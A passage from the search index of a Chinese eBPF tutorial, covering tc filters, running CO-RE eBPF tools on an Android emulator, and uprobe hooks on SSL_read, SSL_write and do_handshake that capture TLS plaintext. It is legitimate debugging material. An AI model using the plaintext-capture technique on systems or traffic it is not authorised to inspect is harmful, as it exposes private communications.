编译运行","id":"130","title":"编译运行"},"131":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"131","title":"总结"},"132":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"132","title":"参考"},"133":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"133","title":"在 Andorid 上使用 eBPF 程序"},"134":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"134","title":"背景"},"135":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"135","title":"测试环境"},"136":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"136","title":"环境搭建"},"137":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"137","title":"工具构建"},"138":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"138","title":"结果"},"139":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"139","title":"成功案例"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"140","title":"一些可能的报错原因"},"141":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"141","title":"总结"},"142":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"142","title":"参考"},"143":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"143","title":"http"},"144":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"144","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"145":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"145","title":"背景知识"},"146":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"146","title":"SSL 和 TLS"},"147":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"147","title":"TLS 的工作原理"},"148":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"148","title":"eBPF 和 uprobe"},"149":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"149","title":"用户态库"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"150","title":"OpenSSL API 分析"},"151":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"151","title":"1. SSL_read 函数"},"152":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"152","title":"2. SSL_write 函数"},"153":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"153","title":"eBPF 内核态代码编写"},"154":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"154","title":"数据结构"},"155":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"155","title":"Hook 函数"},"156":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"156","title":"Hook到握手过程"},"157":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"157","title":"用户态辅助代码分析与解读"},"158":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 